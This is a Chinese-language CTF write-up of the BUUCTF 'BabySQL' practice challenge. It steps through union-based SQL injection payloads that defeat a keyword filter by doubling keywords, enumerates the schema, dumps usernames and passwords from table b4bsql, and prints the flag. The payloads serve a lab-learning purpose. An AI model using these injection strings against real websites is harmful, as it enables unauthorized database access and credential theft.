[极客大挑战 2019]BabySQL—3.20BUUCTF练习day4(3)

[极客大挑战 2019]BabySQL-3.20BUUCTF练习day4(3)

做题过程

打开是以下页面(前几天有它的第一版第二版出现)输入1'

回显以下内容(还是字符型以单引号闭合,因为有报错信息回显)
输入1' order by 4%23回显成这个
被过滤了

先不管列数看看

输入1' union select 1,2%23判断显示位在哪里
那就使用以下双写绕过

输入1' ununionion seselectlect 1,2%23双写绕过,判断显示位这里显示列数不相同,那么为什么会有这个报错呢

这是因为union 的特性

你要查询语句的字段数量必须要和服务端数据库的查询语句字段数量要一致(指的是union前后的select后面的数字(例如刚刚的查询语句中的1,2字段数是2因为在数据库查询字段数不同所以报错)

那就试一试
1' ununionion seselectlect 1,2,3%23

好啦✔回显正确,之后就使用双写绕过

现在知道了列数(字段数)也知道了回显位(将数据回显在客户端屏幕上的位置)

该查询库名和用户名

输入-1' ununionion seselectlect 1,database(),user()%23
根据联合查询,该查询表名了

输入-1' ununionion seselectlect 1,group_concat(table_name),3 from information_schema.tables where schema_name='geek'%23
修改为-1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whewherere table_schema='geek'%23
我们查询b4bsql这个表里面的字段名

输入-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whewherere table_name='b4bsql'%23
查询字段内容

输入
-1' ununionion seselectlect 1,group_concat(id,0x3A,username,0x3A,password),3 frfromom b4bsql%23
那就再输入-1' ununionion seselectlect 1,group_concat(id,0x3A,username,0x3A,passwoorrd),3 frfromom b4bsql%23

得到flag
flag{0bbd78c4-ad10-4e17-92d7-72d0022bb992}

相关推荐
钢铁男儿2 小时前
Python 用户账户(让用户拥有自己的数据)
数据库·python·sqlite
AIBigModel4 小时前
DAgent:自动化报告生成智能体方案
数据库·oracle·自动化
IYU_4 小时前
常见中间件漏洞攻略-Weblogic篇
安全·web安全·网络安全
2401_897930065 小时前
neo4j删除所有数据
数据库·neo4j
何似在人间5755 小时前
Redis的单线程模型与多线程优化
数据库·redis·缓存
Dxy12393102165 小时前
python如何提取html中所有的图片链接
数据库·python·html
潇湘馆记5 小时前
MySQL 事务(Transaction)详解
数据库·mysql
大数据魔法师6 小时前
MongoDB(五) - Studio 3T 下载与安装教程
数据库·mongodb
编程武士6 小时前
【工具分享 - Redis桌面客户端】Tiny RDM
数据库·redis·缓存
Shuzi_master76 小时前
八股文Redis
数据库·redis·缓存